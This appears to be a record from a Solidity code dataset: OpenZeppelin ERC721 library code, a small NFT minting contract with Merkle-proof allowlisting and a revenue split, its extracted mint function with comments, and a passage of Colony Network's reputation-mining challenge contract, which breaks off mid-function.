return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/1_Storage.sol
pragma solidity ^0.8.4;
contract JennyPasanen is ERC721, ERC721Enumerable, Ownable {
using SafeMath for uint256;
uint Pmax;
uint[3] public PC;
uint[3] PC_Price;
uint[3] PC_Shift;
address a_artist;
address a_cws;
bytes32[3] merkleRoot;
mapping(uint256 => uint[3]) claimed;
constructor() ERC721("Jenny Pasanen", "CWSxJP") {
Pmax = 60;
PC = [0,0,0];
PC_Price = [100000000000000000,100000000000000000,100000000000000000]; //0.1 ETH in Wei
PC_Shift = [0,60,120];
}
function _baseURI() internal pure override returns (string memory) {
return "ipfs://QmZi6vuFuVjkbZWaxFE2XG25nu21oE6K6h5toVzCjvXUyM/";
}
function setRoots(uint piece, bytes32 pProof) external onlyOwner{
merkleRoot[piece] = pProof;
}
function safeMintPiece(
uint piece,
bytes32[] calldata Proof
)external payable{
//Verify Money
require(msg.value >= PC_Price[piece], "Ether value sent is below the price");
// Verify the merkle proof.
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(Proof, merkleRoot[piece], leaf), "Invalid Merkle-proof");
//Verify Claimed
require(isClaimed(msg.sender)[piece] == 0, "You already bought this piece");
//Verify Supply
require(PC[piece] <= Pmax, "All pieces have already been minted");
//Mark Claimed
_setClaimed(piece);
//Mint New Piece
_safeMint(msg.sender, PC[piece] + PC_Shift[piece]);
//Increment Counter
PC[piece]+=1;
}
function MintPieceFix(
address to,
uint piece,
uint editions
) public onlyOwner{
//Verify Supply
require(PC[piece] <= Pmax, "All pieces have already been minted");
for (uint j = 0; j < editions; j++) { //for loop example
//Mark Claimed
_setClaimed(piece);
//Mint New Piece
_safeMint(to, PC[piece] + PC_Shift[piece]);
//Increment Counter
PC[piece]+=1;
}
}
function f(address a) internal pure returns (uint256) {
return uint256(uint160(a));
}
//The following functions help to track which address already claimed a piece
function isClaimed(address adr) public view returns (uint[3] memory) {
uint256 index = f(adr);
return(claimed[index]);
}
function _setClaimed(uint256 piece) private {
uint256 index = f(msg.sender);
claimed[index][piece]+=1;
}
function withdraw() public payable{
//Payout infos
uint ARTIST_SHARE = 85;
uint CWS_SHARE = 15;
uint SHARE_SUM = 100;
address artistAddress = 0x2531896dFb32418BAbF6c57edD40f8EE53C0f236;
address CWSAddress = 0x97acef8388579e8641EA82258044E8996337ABEb;
uint256 balance = address(this).balance;
uint toArtist = balance.mul(ARTIST_SHARE).div(SHARE_SUM);
uint toCWS = balance.mul(CWS_SHARE).div(SHARE_SUM);
payable(artistAddress).transfer(toArtist);
payable(CWSAddress).transfer(toCWS);
assert(address(this).balance == 0);
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
|
Verify Money Verify the merkle proof.Verify ClaimedVerify SupplyMark ClaimedMint New PieceIncrement Counter
|
function safeMintPiece(
uint piece,
bytes32[] calldata Proof
)external payable{
require(msg.value >= PC_Price[piece], "Ether value sent is below the price");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(Proof, merkleRoot[piece], leaf), "Invalid Merkle-proof");
require(isClaimed(msg.sender)[piece] == 0, "You already bought this piece");
require(PC[piece] <= Pmax, "All pieces have already been minted");
_setClaimed(piece);
_safeMint(msg.sender, PC[piece] + PC_Shift[piece]);
PC[piece]+=1;
}
| 8,048,105
|
/*
This file is part of The Colony Network.
The Colony Network is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
The Colony Network is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with The Colony Network. If not, see <http://www.gnu.org/licenses/>.
*/
pragma solidity 0.5.8;
pragma experimental "ABIEncoderV2";
import "../lib/dappsys/math.sol";
import "./IColonyNetwork.sol";
import "./PatriciaTree/PatriciaTreeProofs.sol";
import "./ITokenLocking.sol";
import "./ReputationMiningCycleStorage.sol";
import {Bits} from "./PatriciaTree/Bits.sol";
// TODO (post CCv1, possibly never): Can we handle all possible disputes regarding the very first hash that should be set?
// Currently, at the very least, we can't handle a dispute if the very first entry is disputed.
// A possible workaround would be to 'kick off' reputation mining with a known dummy state...
// Given the approach we a taking for launch, we are able to guarantee that we are the only reputation miner for 100+ of the first cycles, even if we decided to lengthen a cycle length. As a result, maybe we just don't care about this special case?
contract ReputationMiningCycleRespond is ReputationMiningCycleStorage, PatriciaTreeProofs, DSMath {
/// @notice A modifier that checks if the challenge corresponding to the hash in the passed `round` and `id` is open
/// @param round The round number of the hash under consideration
/// @param idx The index in the round of the hash under consideration
modifier challengeOpen(uint256 round, uint256 idx) {
// Check the binary search has finished, but not necessarily confirmed
require(idx < disputeRounds[round].length, "colony-reputation-mining-index-beyond-round-length");
require(disputeRounds[round][idx].lowerBound == disputeRounds[round][idx].upperBound, "colony-reputation-binary-search-incomplete");
// Check the binary search result has been confirmed
Submission storage submission = reputationHashSubmissions[disputeRounds[round][idx].firstSubmitter];
require(
2**(disputeRounds[round][idx].challengeStepCompleted-2)>submission.jrhNNodes,
"colony-reputation-mining-binary-search-result-not-confirmed"
);
// Check that we have not already responded to the challenge
require(
2**(disputeRounds[round][idx].challengeStepCompleted-3)<=submission.jrhNNodes,
"colony-reputation-mining-challenge-already-responded"
);
_;
}
uint constant U_ROUND = 0;
uint constant U_IDX = 1;
uint constant U_REPUTATION_BRANCH_MASK = 2;
uint constant U_AGREE_STATE_NNODES = 3;
uint constant U_AGREE_STATE_BRANCH_MASK = 4;
uint constant U_DISAGREE_STATE_NNODES = 5;
uint constant U_DISAGREE_STATE_BRANCH_MASK = 6;
uint constant U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK = 7;
uint constant U_LOG_ENTRY_NUMBER = 8;
uint constant U_DECAY_TRANSITION = 9;
uint constant U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK = 10;
uint constant U_AGREE_STATE_REPUTATION_VALUE = 11;
uint constant U_AGREE_STATE_REPUTATION_UID = 12;
uint constant U_DISAGREE_STATE_REPUTATION_VALUE = 13;
uint constant U_DISAGREE_STATE_REPUTATION_UID= 14;
uint constant U_PREVIOUS_NEW_REPUTATION_VALUE = 15;
uint constant U_PREVIOUS_NEW_REPUTATION_UID = 16;
uint constant U_USER_ORIGIN_REPUTATION_VALUE = 17;
uint constant U_USER_ORIGIN_REPUTATION_UID = 18;
uint constant U_CHILD_REPUTATION_BRANCH_MASK = 19;
uint constant U_CHILD_REPUTATION_VALUE = 20;
uint constant U_CHILD_REPUTATION_UID = 21;
uint constant U_GLOBAL_CHILD_UPDATE = 22;
uint constant U_ADJACENT_REPUTATION_BRANCH_MASK = 23;
uint constant U_ADJACENT_REPUTATION_VALUE = 24;
uint constant U_ADJACENT_REPUTATION_UID = 25;
uint constant U_NEW_REPUTATION = 26;
uint constant U_USER_ORIGIN_ADJACENT_REPUTATION_VALUE = 27;
uint constant U_CHILD_ADJACENT_REPUTATION_VALUE = 28;
uint constant B_REPUTATION_KEY_COLONY = 0;
uint constant B_REPUTATION_KEY_SKILLID = 1;
uint constant B_REPUTATION_KEY_USER = 2;
uint constant B_REPUTATION_KEY_HASH = 3;
uint constant B_PREVIOUS_NEW_REPUTATION_KEY_HASH = 4;
uint constant B_ADJACENT_REPUTATION_KEY_HASH = 5;
uint constant B_ORIGIN_ADJACENT_REPUTATION_KEY_HASH = 6;
uint constant B_CHILD_ADJACENT_REPUTATION_KEY_HASH = 7;
uint constant DECAY_NUMERATOR = 992327946262944; // 24-hr mining cycles
uint constant DECAY_DENOMINATOR = 1000000000000000;
function getDecayConstant() public pure returns (uint256, uint256) {
return (DECAY_NUMERATOR, DECAY_DENOMINATOR);
}
function respondToChallenge(
uint256[29] memory u, //An array of 29 UINT Params, ordered as given above.
bytes32[8] memory b32, // An array of 8 bytes32 params, ordered as given above
bytes32[] memory reputationSiblings,
bytes32[] memory agreeStateSiblings,
bytes32[] memory disagreeStateSiblings,
bytes32[] memory previousNewReputationSiblings,
bytes32[] memory userOriginReputationSiblings,
bytes32[] memory childReputationSiblings,
bytes32[] memory adjacentReputationSiblings
) public
challengeOpen(u[U_ROUND], u[U_IDX])
{
u[U_DECAY_TRANSITION] = 0;
u[U_GLOBAL_CHILD_UPDATE] = 0;
u[U_NEW_REPUTATION] = 0;
// Require disagree state nnodes - agree state nnodes is either 0 or 1. Its a uint, so we can simplify this to < 2.
require(u[U_DISAGREE_STATE_NNODES] - u[U_AGREE_STATE_NNODES] < 2, "colony-network-mining-more-than-one-node-added");
// TODO: More checks that this is an appropriate time to respondToChallenge (maybe in modifier);
/* bytes32 jrh = disputeRounds[round][idx].jrh; */
// The contract knows
// 1. the jrh for this submission
// 2. The first index where this submission and its opponent differ.
// Need to prove
// 1. The reputation that is updated that we disagree on's value, before the first index
// where we differ, and in the first index where we differ.
// 2. That no other changes are made to the reputation state. The proof for those
// two reputations in (1) is therefore required to be the same.
// 3. That our 'after' value is correct. This is done by doing the calculation on-chain, perhaps
// after looking up the corresponding entry in the reputation update log (the alternative is
// that it's a decay calculation - not yet implemented.)
// Check the supplied key is appropriate.
checkKey(u, b32);
// Prove the reputation's starting value is in some state, and that state is in the appropriate index in our JRH
proveBeforeReputationValue(u, b32, reputationSiblings, agreeStateSiblings);
// Prove the reputation's final value is in a particular state, and that state is in our JRH in the appropriate index (corresponding to the first disagreement between these miners)
// By using the same branchMask and siblings, we know that no other changes to the reputation state tree have been slipped in.
proveAfterReputationValue(u, b32, reputationSiblings, disagreeStateSiblings);
// Perform the reputation calculation ourselves.
performReputationCalculation(u);
if (u[U_DECAY_TRANSITION] == 0) {
checkUserOriginReputation(u, b32, agreeStateSiblings, userOriginReputationSiblings);
}
if (u[U_GLOBAL_CHILD_UPDATE] == 1) {
checkChildReputation(u, b32, agreeStateSiblings, childReputationSiblings);
}
if (u[U_NEW_REPUTATION] == 1) {
checkAdjacentReputation(u, b32, adjacentReputationSiblings, agreeStateSiblings, disagreeStateSiblings);
}
// If necessary, check the supplied previousNewRepuation is, in fact, in the same reputation state as the 'agree' state.
// i.e. the reputation they supplied is in the 'agree' state.
checkPreviousReputationInState(
u,
b32,
agreeStateSiblings,
previousNewReputationSiblings);
// Save the index for tiebreak scenarios later.
saveProvedReputation(u);
confirmChallengeCompleted(u);
// Safety net?
/* if (disputeRounds[round][idx].challengeStepCompleted==disputeRounds[round][opponentIdx].challengeStepCompleted){
// Freeze the reputation mining system.
} */
}
/////////////////////////
// Internal functions
/////////////////////////
function checkAdjacentReputation(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory adjacentReputationSiblings,
bytes32[] memory agreeStateSiblings,
bytes32[] memory disagreeStateSiblings
) internal view
{
DisputedEntry storage disputedEntry = disputeRounds[u[U_ROUND]][u[U_IDX]];
// Check this proof is valid for the agree state
// We binary searched to the first disagreement, so the last agreement is the one before
bytes memory adjacentReputationValue = abi.encodePacked(u[U_ADJACENT_REPUTATION_VALUE], u[U_ADJACENT_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_ADJACENT_REPUTATION_KEY_HASH],
adjacentReputationValue,
u[U_ADJACENT_REPUTATION_BRANCH_MASK],
adjacentReputationSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(
bytes32(disputedEntry.lowerBound - 1),
jhLeafValue,
u[U_AGREE_STATE_BRANCH_MASK],
agreeStateSiblings);
require(
impliedRoot == reputationHashSubmissions[disputedEntry.firstSubmitter].jrh,
"colony-reputation-mining-adjacent-agree-state-disagreement");
// The bit added to the branchmask is based on where the (hashes of the) two keys first differ.
uint256 firstDifferenceBit = uint256(
Bits.highestBitSet(uint256(b32[B_ADJACENT_REPUTATION_KEY_HASH] ^ b32[B_REPUTATION_KEY_HASH]))
);
uint256 afterInsertionBranchMask = u[U_ADJACENT_REPUTATION_BRANCH_MASK] | uint256(2**firstDifferenceBit);
// If a key that exists in the lastAgreeState has been passed in as the reputationKey, the adjacent key will already have a branch at the
// first difference bit, and this check will fail.
require(afterInsertionBranchMask != u[U_ADJACENT_REPUTATION_BRANCH_MASK], "colony-reputation-mining-adjacent-branchmask-incorrect");
bytes32[] memory afterInsertionAdjacentReputationSiblings = new bytes32[](adjacentReputationSiblings.length + 1);
afterInsertionAdjacentReputationSiblings = buildNewSiblingsArray(u, b32, firstDifferenceBit, adjacentReputationSiblings);
reputationRootHash = getImpliedRootNoHashKey(
b32[B_ADJACENT_REPUTATION_KEY_HASH],
adjacentReputationValue,
afterInsertionBranchMask,
afterInsertionAdjacentReputationSiblings
);
jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_DISAGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the first state that the two submissions disagree on
impliedRoot = getImpliedRootNoHashKey(
bytes32(disputedEntry.lowerBound),
jhLeafValue,
u[U_DISAGREE_STATE_BRANCH_MASK],
disagreeStateSiblings);
require(
impliedRoot == reputationHashSubmissions[disputedEntry.firstSubmitter].jrh,
"colony-reputation-mining-adjacent-disagree-state-disagreement");
}
function buildNewSiblingsArray(
uint256[29] memory u,
bytes32[8] memory b32,
uint256 firstDifferenceBit,
bytes32[] memory adjacentReputationSiblings
) internal pure returns (bytes32[] memory)
{
bytes32 newSibling = keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
u[U_DISAGREE_STATE_REPUTATION_VALUE],
u[U_DISAGREE_STATE_REPUTATION_UID]
)
),
firstDifferenceBit,
b32[B_REPUTATION_KEY_HASH] << (256 - firstDifferenceBit)
)
);
// Copy in to afterInsertionAdjacentReputationSiblings, inserting the new sibling.
// Where do we insert it? Depends how many branches there are before the new bit we just inserted
uint insert = 0;
uint i = 2**255;
// This can be > or >= because the adjacent reputation branchmask will be a 0 in the
// bit where the two keys first differ.
while (i > 2**firstDifferenceBit) {
if (i & u[U_ADJACENT_REPUTATION_BRANCH_MASK] == i) {
insert += 1;
}
i >>= 1;
}
bytes32[] memory afterInsertionAdjacentReputationSiblings = new bytes32[](adjacentReputationSiblings.length + 1);
// Now actually build the new siblings array
i = 0;
while (i < afterInsertionAdjacentReputationSiblings.length) {
if (i < insert) {
afterInsertionAdjacentReputationSiblings[i] = adjacentReputationSiblings[i];
} else if (i == insert) {
afterInsertionAdjacentReputationSiblings[i] = newSibling;
} else {
afterInsertionAdjacentReputationSiblings[i] = adjacentReputationSiblings[i-1];
}
i += 1;
}
return afterInsertionAdjacentReputationSiblings;
}
function checkUserOriginReputation(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32[] memory userOriginReputationSiblings) internal view
{
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
if (logEntry.amount >= 0) {
return;
}
// Check the user origin reputation key matches the colony, user address and skill id of the log
bytes32 userOriginReputationKeyBytesHash = keccak256(abi.encodePacked(logEntry.colony, logEntry.skillId, logEntry.user));
checkUserOriginReputationInState(
u,
b32,
agreeStateSiblings,
userOriginReputationKeyBytesHash,
userOriginReputationSiblings);
}
function checkChildReputation(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32[] memory childReputationSiblings) internal view
{
// If we think we need to check the child reputation because of the update number, but the origin reputation value is
// zero, we don't need check the child reputation because it isn't actually used in the calculation.
if (u[U_USER_ORIGIN_REPUTATION_VALUE] == 0) {return;}
// This function is only called if the dispute is over a child reputation update of a colony-wide reputation total
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
uint256 relativeUpdateNumber = getRelativeUpdateNumber(u, logEntry);
uint256 expectedSkillId = IColonyNetwork(colonyNetworkAddress).getChildSkillId(logEntry.skillId, relativeUpdateNumber);
bytes memory childReputationKey = abi.encodePacked(logEntry.colony, expectedSkillId, logEntry.user);
checkChildReputationInState(
u,
agreeStateSiblings,
childReputationKey,
childReputationSiblings,
b32[B_CHILD_ADJACENT_REPUTATION_KEY_HASH]);
}
function confirmChallengeCompleted(uint256[29] memory u) internal {
// If everthing checked out, note that we've responded to the challenge.
disputeRounds[u[U_ROUND]][u[U_IDX]].challengeStepCompleted += 1;
disputeRounds[u[U_ROUND]][u[U_IDX]].lastResponseTimestamp = now;
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
emit ChallengeCompleted(submission.proposedNewRootHash, submission.nNodes, submission.jrh);
}
function checkKey(uint256[29] memory u, bytes32[8] memory b32) internal view {
// If the state transition we're checking is less than the number of nodes in the currently accepted state, it's a decay transition
// Otherwise, look up the corresponding entry in the reputation log.
uint256 updateNumber = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
if (updateNumber < IColonyNetwork(colonyNetworkAddress).getReputationRootHashNNodes()) {
checkKeyDecay(u, updateNumber);
u[U_DECAY_TRANSITION] = 1;
} else {
checkKeyLogEntry(u, b32);
}
}
function checkKeyDecay(uint256[29] memory u, uint256 _updateNumber) internal pure {
// We check that the reputation UID is right for the decay transition being disputed.
// The key is then implicitly checked when they prove that the key+value they supplied is in the
// right intermediate state in their justification tree.
require(u[U_AGREE_STATE_REPUTATION_UID]-1 == _updateNumber, "colony-reputation-mining-uid-not-decay");
}
function checkKeyLogEntry(uint256[29] memory u, bytes32[8] memory b32) internal view {
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
uint256 expectedSkillId;
address expectedAddress;
(expectedSkillId, expectedAddress) = getExpectedSkillIdAndAddress(u, logEntry);
require(expectedAddress == address(uint256(b32[B_REPUTATION_KEY_USER])), "colony-reputation-mining-user-address-mismatch");
require(logEntry.colony == address(uint256(b32[B_REPUTATION_KEY_COLONY])), "colony-reputation-mining-colony-address-mismatch");
require(expectedSkillId == uint256(b32[B_REPUTATION_KEY_SKILLID]), "colony-reputation-mining-skill-id-mismatch");
require(
keccak256(
buildReputationKey(b32[B_REPUTATION_KEY_COLONY], b32[B_REPUTATION_KEY_SKILLID], b32[B_REPUTATION_KEY_USER])
) == b32[B_REPUTATION_KEY_HASH],
"colony-reputation-mining-reputation-key-and-hash-mismatch"
);
}
function getExpectedSkillIdAndAddress(uint256[29] memory u, ReputationLogEntry storage logEntry) internal view
returns (uint256 expectedSkillId, address expectedAddress)
{
uint256 relativeUpdateNumber = getRelativeUpdateNumber(u, logEntry);
uint256 nChildUpdates;
uint256 nParentUpdates;
(nChildUpdates, nParentUpdates) = getChildAndParentNUpdatesForLogEntry(u);
// Work out the expected userAddress and skillId for this updateNumber in this logEntry.
if (relativeUpdateNumber < logEntry.nUpdates / 2) {
// Then we're updating a colony-wide total, so we expect an address of 0x0
expectedAddress = address(0x0);
} else {
// We're updating a user-specific total
expectedAddress = logEntry.user;
}
// Expected skill Id
// We update skills in the order children, then parents, then the skill listed in the log itself.
// If the amount in the log is positive, then no children are being updated.
uint256 _relativeUpdateNumber = relativeUpdateNumber % (logEntry.nUpdates/2);
if (_relativeUpdateNumber < nChildUpdates) {
expectedSkillId = IColonyNetwork(colonyNetworkAddress).getChildSkillId(logEntry.skillId, _relativeUpdateNumber);
} else if (_relativeUpdateNumber < (nChildUpdates+nParentUpdates)) {
expectedSkillId = IColonyNetwork(colonyNetworkAddress).getParentSkillId(logEntry.skillId, _relativeUpdateNumber - nChildUpdates);
} else {
expectedSkillId = logEntry.skillId;
}
}
function proveBeforeReputationValue(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory reputationSiblings,
bytes32[] memory agreeStateSiblings
) internal view
{
if (u[U_DISAGREE_STATE_NNODES] - u[U_AGREE_STATE_NNODES] == 1) {
// This implies they are claiming that this is a new hash.
// Flag we need to check the adjacent hash
u[U_NEW_REPUTATION] = 1;
return;
}
// Otherwise, it's an existing hash and we've just changed its value.
// We binary searched to the first disagreement, so the last agreement is the one before.
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory agreeStateReputationValue = abi.encodePacked(u[U_AGREE_STATE_REPUTATION_VALUE], u[U_AGREE_STATE_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_REPUTATION_KEY_HASH],
agreeStateReputationValue,
u[U_REPUTATION_BRANCH_MASK],
reputationSiblings);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on.
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
require(impliedRoot == submission.jrh, "colony-reputation-mining-invalid-before-reputation-proof");
// Check that they have not changed nNodes from the agree state
// There is a check at the very start of RespondToChallenge that this difference is either 0 or 1.
// There is an 'if' statement above that returns if this difference is 1.
// Therefore the difference is 0, and this should always be true.
assert(u[U_DISAGREE_STATE_NNODES] == u[U_AGREE_STATE_NNODES]);
// They've actually verified whatever they claimed.
// In the event that our opponent lied about this reputation not existing yet in the tree, they will fail on checkAdjacentReputation,
// as the branchmask generated will indicate that the node already exists
}
function proveAfterReputationValue(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory reputationSiblings,
bytes32[] memory disagreeStateSiblings
) internal view
{
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
uint256 firstDisagreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound;
bytes memory disagreeStateReputationValue = abi.encodePacked(u[U_DISAGREE_STATE_REPUTATION_VALUE], u[U_DISAGREE_STATE_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_REPUTATION_KEY_HASH],
disagreeStateReputationValue,
u[U_REPUTATION_BRANCH_MASK],
reputationSiblings
);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on.
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_DISAGREE_STATE_NNODES]);
bytes32 impliedRoot = getImpliedRootNoHashKey(
bytes32(firstDisagreeIdx),
jhLeafValue,
u[U_DISAGREE_STATE_BRANCH_MASK],
disagreeStateSiblings
);
require(submission.jrh==impliedRoot, "colony-reputation-mining-invalid-after-reputation-proof");
}
function performReputationCalculation(
uint256[29] memory u
) internal
{
proveUID(
u,
u[U_AGREE_STATE_REPUTATION_UID],
u[U_DISAGREE_STATE_REPUTATION_UID]);
proveValue(
u,
int256(u[U_AGREE_STATE_REPUTATION_VALUE]),
int256(u[U_DISAGREE_STATE_REPUTATION_VALUE]));
}
function proveUID(
uint256[29] memory u,
uint256 _agreeStateReputationUID,
uint256 _disagreeStateReputationUID
) internal
{
if (_agreeStateReputationUID != 0) {
// i.e. if this was an existing reputation, then require that the ID hasn't changed.
require(_agreeStateReputationUID == _disagreeStateReputationUID, "colony-reputation-mining-uid-changed-for-existing-reputation");
emit ProveUIDSuccess(_agreeStateReputationUID, _disagreeStateReputationUID, true);
} else {
